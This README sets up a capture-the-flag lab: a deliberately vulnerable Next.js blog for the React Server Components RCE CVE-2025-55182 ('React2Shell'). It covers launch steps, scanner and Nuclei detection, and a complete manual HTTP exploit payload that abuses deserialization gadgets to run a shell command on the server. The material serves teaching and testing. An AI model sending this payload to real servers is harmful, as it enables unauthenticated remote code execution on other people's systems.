CyberSec Blog CTF - React2Shell PoC

This repository provides a vulnerable CTF (Capture The Flag) environment based on a cybersecurity blog using Next.js and React Server Components.

CVE-2025-55182 : Pre-authentication Remote Code Execution (RCE) vulnerability in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. The vulnerable code unsafely deserializes HTTP request payloads to Server Function endpoints.

CVE-2025-66478 : Affects Next.js applications using the App Router.

CTF Description

This challenge presents a cybersecurity blog with:

5 articles on security topics (Web, React, CTF, Next.js, Deserialization)
3 fictional authors
A modern dark mode interface

The blog uses vulnerable versions of React and Next.js, allowing exploitation of the React2Shell vulnerability.

Vulnerable Versions Used

Package	Version
`next`	16.0.6
`react`	19.2.0
`react-dom`	19.2.0

How to Launch the CTF

With Docker (recommended)

# Build the image
docker build -t react2shell-poc .

# Run the container
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Without Docker

npm install
npm run build
npm run start

Then, access http://127.0.0.1:3000

How to Detect the Vulnerability

With AssetNote Scanner

git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

With Nuclei

nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

How to Exploit

With the React2Shell Tool

See the React2Shell/ folder for the Python exploit.

Manual HTTP Payload

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

The response will contain the result of the id command in the x-action-redirect header.

References

Custom CTF Challenge based on the simple-nextjs-blog template and the CVE-2025-55182 vulnerable environment.

CVE-2025-55182-React2Shell-Lab

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